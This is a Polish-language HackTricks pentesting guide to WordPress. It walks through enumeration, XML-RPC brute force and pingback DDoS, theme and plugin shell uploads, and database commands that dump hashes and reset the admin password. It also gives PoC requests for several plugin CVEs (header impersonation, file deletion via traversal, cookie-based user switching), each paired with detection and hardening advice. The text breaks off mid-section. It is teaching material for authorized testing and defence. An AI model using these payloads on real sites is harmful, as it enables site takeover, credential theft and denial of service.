# Wordpress {{#include ../../banners/hacktricks-training.md}} ## Podstawowe informacje - **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Themes files can be found in /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - W pliku **wp-config.php** możesz znaleźć hasło root do bazy danych. - Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ ### **Główne pliki WordPress** - `index.php` - `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress. - `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress. - Foldery logowania (mogą być przemianowane, aby je ukryć): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` - `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy. - `wp-content/uploads/` jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę. - `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety. - `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami. **Post exploitation** - Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów. ### Uprawnienia użytkowników - **Administrator** - **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami - **Author**: Publikuje i zarządza wyłącznie własnymi wpisami - **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować - **Subscriber**: Przegląda wpisy i edytuje swój profil ## **Passive Enumeration** ### **Get WordPress version** Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html` W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash curl https://victim.com/ | grep 'content="WordPress' ``` - `meta name` ![](<../../images/image (1111).png>) - Pliki linków CSS ![](<../../images/image (533).png>) - Pliki JavaScript ![](<../../images/image (524).png>) ### Pobierz wtyczki ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Pobierz motywy ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ### Wydobywanie wersji — ogólnie ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` ## Aktywna enumeracja ### Wtyczki i motywy Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy). ### Użytkownicy - **ID Brute:** Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, wtedy id jest **nieprawidłowe**. - **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkownikach, to: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**. Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses. - **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy **nazwa użytkownika istnieje, czy nie**. ### XML-RPC Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając [tego](https://github.com/relarizky/wpxploit)). Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie: **Sprawdź** ```html system.listMethods ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) **Credentials Bruteforce** **`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego: ```html wp.getUsersBlogs admin pass ``` Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html wp.uploadFile 1 username password name filename.jpg type mime/type bits ``` Jest też **szybszy sposób** na brute-force credentials używając **`system.multicall`**, ponieważ możesz spróbować kilku creds w tym samym żądaniu:
**Omijanie 2FA** Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, **możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS lub skanowanie portów** Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.\ Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** jednej **location** (w ten sposób wywołując **DDoS** w tej lokalizacji), albo możesz użyć tego, aby sprawić, że **Wordpress** przeskanuje jakąś wewnętrzną **network** (możesz wskazać dowolny port). ```html pingback.ping http://: http:// ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty. Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS. **DDoS** ```html pingback.ping http://target/ http://yoursite.com/and_some_valid_blog_post_url ``` ![](<../../images/image (110).png>) ### wp-cron.php DoS Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\ Gdy ten plik jest **wywoływany**, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\ Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS). Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów). ### /wp-json/oembed/1.0/proxy - SSRF Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona Worpress może wykonać żądanie do Ciebie. This is the response when it doesn't work: ![](<../../images/image (365).png>) ## SSRF {{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je exploitować. ## Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` ## Uzyskaj dostęp przez nadpisanie jednego bitu To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Panel RCE** **Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)** Wygląd → Edytor motywu → Szablon 404 (po prawej) Zmień zawartość na php shell: ![](<../../images/image (384).png>) Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF Możesz użyć: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` aby uzyskać sesję. ## Plugin RCE ### PHP plugin Może być możliwe przesłanie plików .php jako plugin.\ Utwórz swój php backdoor używając na przykład: ![](<../../images/image (183).png>) Następnie dodaj nowy plugin: ![](<../../images/image (722).png>) Prześlij plugin i naciśnij Install Now: ![](<../../images/image (249).png>) Kliknij na Procced: ![](<../../images/image (70).png>) Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell: ![](<../../images/image (462).png>) Otwórz go i zobaczysz URL do uruchomienia reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób: 1. **Plugin Acquisition**: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: - Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`. - Prześlij plik zip pobranego pluginu. 3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard. 4. **Exploitation**: - Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności. - Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony. - Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress. Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** - _**Privilege Escalation:**_ Tworzy użytkownika w WordPress. - _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress. - _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane pluginy w WordPress. - _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress. - _**(Custom) Custom Exploits:**_ Custom Exploits dla third-party WordPress Plugins/Themes. ## Post Exploitation Wyodrębnij nazwy użytkowników i hasła: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` Zmień hasło administratora: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress Plugins Pentest ### Powierzchnia ataku Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które **każdy uwierzytelniony użytkownik instancji Wordpress może posiadać** (niezależnie od jego roli). Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` **Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).** > [!CAUTION] > Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień. - **REST API** Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array($this, 'getData'), 'permission_callback' => '__return_true' ) ); ``` The `permission_callback` jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API. **Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.** - **Bezpośredni dostęp do pliku PHP** Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator. - Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route. - Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora). - Wyeksploatowana trasa: `POST /wp-json/wp/v2/users` z podwyższoną tablicą ról. PoC ```http POST /wp-json/wp/v2/users HTTP/1.1 Host: User-Agent: Mozilla/5.0 Accept: application/json Content-Type: application/json X-Wcpay-Platform-Checkout-User: 1 Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` Dlaczego to działa - The plugin maps a client-controlled header to authentication state and skips capability checks. - WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header. Oczekiwane wskaźniki sukcesu - HTTP 201 z ciałem JSON opisującym utworzonego użytkownika. - Nowy użytkownik z uprawnieniami administratora widoczny w `wp-admin/users.php`. Lista kontrolna wykrywania - Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`). - Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania. - Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków. Wzmocnienie - Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta. - Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera. - Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` oraz rygorystycznego `permission_callback` (NIE używaj `__return_true`). - Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”. References: see the links at the end of this page for a public case and broader analysis. ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: 1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and 2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and 3. **Strict input sanitisation / validation**. The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { return; } $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); $upload_dir = wp_upload_dir(); $srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; $filesystem = Litho_filesystem::init_filesystem(); if ( file_exists( $srcdir ) ) { $filesystem->delete( $srcdir, FS_CHMOD_DIR ); } die(); } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` Problemy wprowadzone przez ten fragment: * **Unauthenticated access** – zarejestrowano hook `wp_ajax_nopriv_`. * **No nonce / capability check** – każdy odwiedzający może wywołać endpoint. * **No path sanitisation** – kontrolowany przez użytkownika ciąg `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny `../../` traversal. #### Exploitation Atakujący może usunąć dowolny plik lub katalog **poniżej bazowego katalogu uploads** (zwykle `/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress przejście do *kreatora instalacji* przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina). Inne istotne cele to pliki plugin/theme `.php` (np. w celu wyłączenia security plugins) lub reguły `.htaccess`. #### Lista kontrolna wykrywania * Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje funkcje pomocnicze systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.). * Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`). * Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`. #### Zabezpieczenia ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'forbidden', 403 ); } check_ajax_referer( 'litho_fonts_nonce' ); $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { wp_send_json_error( 'invalid path', 400 ); } // … proceed … } add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] > **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź: > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation. Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { $reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); $usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; if ( in_array( $reset_for_username, $usernames, true ) ) { $u = get_user_by( 'login', $reset_for_username ); foreach ( $u->roles as $role ) { $u->remove_role( $role ); } $orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` Dlaczego to jest podatne - Ufa `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera. - Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić przez odwiedzenie reset path. - W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w `viewing_admin_as_role_are` (błędna autoryzacja). Wymagania wstępne ataku - Wrażliwa wersja pluginu z włączoną funkcją. - Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia. - Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu. Eksploatacja (przykład) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. # The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia. Detection checklist - Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`). - Zidentyfikuj ścieżki resetowania/przywracania, które: - Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`. - Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. - Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy. Hardening - Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne). - Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`. - Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki. - Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień: ```php add_action( 'profile_update', function( $user_id ) { delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); }, 10, 1 ); ``` - Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról. --- ### Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym `init` (Service Finder “sf-booking”) Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka `init` i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika. Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { $user_id = intval( sanitize_text_field($_GET['switch_user']) ); service_finder_switch_user($user_id); } if ( isset($_GET['switch_back']) ) { service_finder_switch_back(); } } add_action('init', 'service_finder_submit_user_form'); function service_finder_switch_back() { if ( isset($_COOKIE['original_user_id']) ) { $uid = intval($_COOKIE['original_user_id']); if ( get_userdata($uid) ) { wp_set_current_user($uid); wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid)); setcookie('original_user_id', '', time() - 3600, '/'); wp_redirect( admin_url('admin.php?page=candidates') ); exit; } wp_die('Original user not found.'); } wp_die('No original user found to switch back to.'); } ``` Dlaczego jest to podatne - Publiczny hook `init` sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`). - Tożsamość pochodzi z cookie modyfikowalnego przez klienta (`original_user_id`). - Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce. Eksploatacja (bez uwierzytelnienia) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example Cookie: original_user_id=1 User-Agent: PoC Connection: close ``` --- ### Rozważania dotyczące WAF dla WordPress/plugin CVEs Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów. Notatki ofensywne - Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. - Najpierw testuj ścieżki bez uwierzytelnienia (AJAX `nopriv`, REST z permissive `permission_callback`, public shortcodes). Domyślne payloads często działają bez obfuskacji. - Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect. Notatki defensywne - Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko. - Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex. ## Ochrona WordPress ### Regularne aktualizacje Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` Również, **instaluj tylko zaufane wtyczki i motywy WordPress**. ### Wtyczki bezpieczeństwa - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) ### **Inne zalecenia** - Usuń domyślnego użytkownika **admin** - Używaj **silnych haseł** i **2FA** - Okresowo **przeglądaj** uprawnienia użytkowników - **Ogranicz liczbę prób logowania**, aby zapobiec atakom Brute Force - Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP. ### SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2) Wtyczka rekrutacyjna WP Job 